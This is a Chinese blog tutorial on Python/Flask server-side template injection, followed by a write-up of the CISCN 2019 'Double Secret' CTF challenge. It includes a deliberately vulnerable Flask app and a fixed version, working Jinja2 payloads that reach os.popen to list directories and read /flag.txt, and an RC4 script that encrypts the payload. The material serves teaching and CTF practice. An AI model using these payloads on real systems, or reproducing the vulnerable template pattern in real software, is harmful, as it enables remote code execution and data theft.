栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Python

SSTI简单总结和CISCN 2019华东南]Double Secret

Python 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

SSTI简单总结和CISCN 2019华东南]Double Secret

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

目录

前言

一、SSTI是什么?

二、关于Python的类

1、__class__类

2、__bases__

3、__subclasses__

4、还用到过的一些类

三、SSTI漏洞的简单复现

四、CTF例题:[CISCN 2019华东南]Double Secret

六、关于RC4加密:

总结


前言

提示:这里可以添加本文要记录的大概内容:

SSTI(Server-Side Template Injection)服务端模板注入是CTF中常见的考点,最近做题的时候又做到了,对于SSTI现在有了更深入的了解,所以写下这篇文章做个关于Python的SSTI浅显的总结。


提示:以下是本篇文章正文内容,下面案例可供参考

一、SSTI是什么?

SSTI是服务端模板注入漏洞,了解过Python的一些Web开发知识,其中的Flask,Django这些MVC框架时,用户输入的变量被接收后通过Controller处理,最后通过渲染返回给了View即HTML页面,而模板引擎处理一些变量时,未经过任何的处理即被编译执行渲染,导致了一些代码执行,信息泄露等。比如使用render_template渲染函数时,未经过处理就对用户输入的变量做了解析变换。

比如:{{7*7}}被解析成了49

二、关于Python的类

1、__class__类

__class__主要用于查看变量所属的类,像一些常用的字符类,字典,元组,列表等。

s = [1, 2, 3]
print(s.__class__)
s = 'abc'
print(s.__class__)
s = {'Aiwin': 1}
print(s.__class__)
s = ({'Aiwin': 1}, [1, 2, 3])
print(s.__class__)

输出:



2、__bases__

__bases__查看类所属的基本类,更多的一般是Object对象类,返回元组。

s = [1, 2, 3]
print(s.__class__.__bases__)
s = 'abc'
print(s.__class__.__mro__)
s = {'Aiwin': 1}
print(type(s.__class__.__bases__))
s = ({'Aiwin': 1}, [1, 2, 3])
print(s.__class__.__bases__[0])




输出:
(,)
(, )



输出的是元组,可以使用[number]来获取第几个类,__mro__类可显示类和基类。

3、__subclasses__

__subclasses__用于查看当前类的子类,也可以通过[number]查看指定的值,返回的是列表。

s = ({'Aiwin': 1}, [1, 2, 3])
print(type(s.__class__.__bases__[0].__subclasses__()))
k=s.__class__.__bases__[0].__subclasses__()

for i in k:
    print(i)


输出:

-----------------















































































































































































































4、还用到过的一些类
__init__  初始化类,返回是wrapper装饰器,即function
__builtins__   内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身
__import__ 导入模块
__globals__  获取函数空间下的module,方法,变量等
lipsum  flask的方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块
__str()__   返回描写对象的字符串

__dic__              类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在里面。
def add(a, b):
    print(a + b)


print(add.__globals__)
print('---------')

s = ({'Aiwin': 1}, [1, 2, 3])
print(s.__str__)


class Person(object):
    def __init__(self, name):
        self.name = name


输出:
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x000001C95C206D00>, '__spec__': None, '__annotations__': {}, '__builtins__': , '__file__': 'C:\Users\25018\PycharmProjects\pythonProject3\flask\测试.py', '__cached__': None, 'add': }
---------

那么为什么需要类的知识呢,因为要通过SSTI注入漏洞来获取一些敏感信息甚至代码执行,需要利用这些各式的类或函数,执行危险的操作。

三、SSTI漏洞的简单复现

1,模板注入漏洞的条件:用户输入变量可控,使用了动态的模板

2,通过flask进行简单的复现

from flask import Flask, render_template, request, render_template_string

app = Flask(__name__)


@app.route("/", methods=['GET'])
def root():
    example = request.args.get('example')
    template = """
    
        
            SSTI-example
        
      
      Welcome,%s
      
      
    """ % example
    return render_template_string(template)


if __name__ == '__main__':
    app.run(debug=True, host='127.0.0.1', port=8888)

 存在SSTI模板注入,利用上面的类的方法构造进行一些危险操作。

{{config.__class__.__init__.__globals__['os'].popen('dir').read()}}

{{lipsum.__globals__.__builtins__.__import__('os').popen('dir').read()}}

lipsum是flask模块的方法,config是python的一个类,通过带入os模块,进行dir目录的读取泄露。构造的方法还有很多。

 像上图的flask存在SSTI漏洞,因为存在用户可控的example变量且用了不固定的模板,假若进行一些处理,引用固定的模板,则SSTI则被防御住了。

from flask import Flask, render_template, request, render_template_string

app = Flask(__name__)


@app.route("/", methods=['GET'])
def root():
    example = request.args.get('example')
    return render_template("index.html",example=example)


if __name__ == '__main__':
    app.run(debug=True, host='127.0.0.1', port=8888)


templates/index.html



    
    SSTI-example


Welcome,{{example}}

四、CTF例题:[CISCN 2019华东南]Double Secret

1,进入题目:
        

 2,进行目录扫描,扫出了/secret,/robots.txt,/console目录

进入console目录,发现需要ping码

进入robots.txt目录,提示这是Android ctf

进入/secret:

想起题目是 double secret,应当可以传一个secret参数,随便传secret值,发现出现flask错误且传出报错信息,应当是SSTI模板注入,查看一些操作信息,发现

File "/app/app.py", line 35, in secret

    if(secret==None):

        return 'Tell me your secret.I will encrypt it so others can't see'

    rc=rc4_Modified.RC4("HereIsTreasure")   #解密

    deS=rc.do_crypt(secret)

 

    a=render_template_string(safe(deS))

 

    if 'ciscn' in a.lower():

        return 'flag detected!'

    return a

这里源码泄露,利用Key=HereIsTreasure进行RC4的解密,然后渲染进模板,所以这里构造的payload需要进行利用RC4加密后传入,可以构造:

{{config.__class__.__init__.__globals__['os'].popen('cat /flag.txt').read()}}

对flag进行读取

3,上网找个RC4加密的脚本进行加密后传入:

import base64
from urllib.parse import quote


def rc4_main(key="init_key", message="init_message"):
    # print("RC4加密主函数")
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return crypt


def rc4_init_sbox(key):
    s_box = list(range(256))
    # print("原来的 s 盒:%s" % s_box)
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    # print("混乱后的 s 盒:%s"% s_box)
    return s_box


def rc4_excrypt(plain, box):
    # print("调用加密程序成功。")
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    cipher = "".join(res)
    print("%s" % quote(cipher))
    return str(base64.b64encode(cipher.encode('utf-8')), 'utf-8')


rc4_main("HereIsTreasure",
         "{{config.__class__.__init__.__globals__['os'].popen('cat /flag.txt').read()}}")

六、关于RC4加密:

 RC4加密:RC4(来自Rivest Cipher 4的缩写)是一种流加密算法,密钥长度可变。它加解密使用相同的密钥,因此也属于对称加密算法。RC4是有线等效加密(WEP)中采用的加密算法,也曾经是TLS可采用的算法之一。

RC4加密的流程:
                        (1)初始化向量S,按照升序,每个字节赋值0,1,2,3...255

                        (2)初始密钥,进行密钥轮转,直到填满,如密钥是HereIsTreasure,则H,e,r,e,l...,H..

                        (3)对状态向量S进行置换操作(即盒子的生成)

j=0
for i in range(256):
    j=(j+S[i]+T[i])%256     #T[i]是密钥的值
    s_box[i], s_box[j] = s_box[j], s_box[i]

                        (4) 最好进行密钥流的生成和加密

                

def rc4_encrypt(plain):
    i=j=0
    for s in plain:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        t = (S[i] + S[j]) % 256
        k=S[t]                #K就是当前生成的一个秘钥流中的一位
        crypt_text=s^k      #将密钥流的一位K和明文进行异或加密


总结

对于SSTI,出镜率较高的是flask/jinjia,对于其它语言,凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,至于其它语言的SSTI,知识浅薄,见识到再说。

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/1022828.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号